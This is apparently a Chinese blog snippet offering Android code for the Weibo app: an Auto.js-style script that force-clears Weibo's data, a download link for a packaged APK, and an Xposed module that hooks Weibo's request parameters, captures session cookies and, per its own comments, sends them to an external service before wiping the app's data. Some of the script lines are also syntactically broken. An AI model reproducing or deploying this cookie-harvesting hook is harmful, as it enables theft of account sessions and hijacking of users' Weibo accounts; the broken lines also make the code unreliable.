先清除缓存脚本压压惊:
function clear(mastPackagename) {
var sh = new Shell(true); sh.exec(mastPackagename);//执行代码运行中属于异步运行 sleep(1000); sh.exit; } clear("pm clear" " " getPackageName("微博")); sleep(1000); toast("====微博缓存清除完毕===="); clear("am force-stop " getPackageName("clear"));
清除脚本包装apk: https://wwi.lanzoup.com/ir5fZ07c2tsj 可自行下载
xposed执行cmd:
package com.sun.xposed; public class runShellCommand {
runShellCommand(String command) throws Exception {
Process process = Runtime.getRuntime().exec(command); process.waitFor(); } }
微博hook-cookies:(xposed):通过httpClient发送出去
package com.sun.xposed; import android.os.Bundle;
import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XposedBridge;
import de.robv.android.xposed.XposedHelpers;
import de.robv.android.xposed.callbacks.XC_LoadPackage;
import static com.sun.xposed.HttpWeibo.Build2Json;
public class WeiBoHook implements IXposedHookLoadPackage {
@Override
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {
// 判断当前启动的目标程序是否是要hook的应用程序
if (loadPackageParam.packageName.equals("com.sina.weibo")) {
XposedBridge.log("编写Xposed插件模板,开启HOOK之路!");
XposedHelpers.findAndHookMethod("com.sina.weibo.requestmodels.RequestParam", // 包名+类名
loadPackageParam.classLoader,
"getNetRequestGetBundle", // 要hook的方法名称
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
}
// hook之后
@Override
protected void afterHookedMethod(MethodHookParam param)
throws Throwable {
super.afterHookedMethod(param);
// 打印方法返回值信息
String result = Build2Json((Bundle) param.getResult()).toString();
//XposedBridge.log("result:" + result);
if (result.length() > 10) {
// 将hook到的cookies发送外部服务
new HttpWeibo(result);
XposedBridge.log("====WeiBo Cookie:---" + result);
// 清除微博缓存
new runShellCommand("adb shell pm clear com.sina.weibo");
XposedBridge.log("====WeiBo 清除成功====");
}
}
});
}
}
}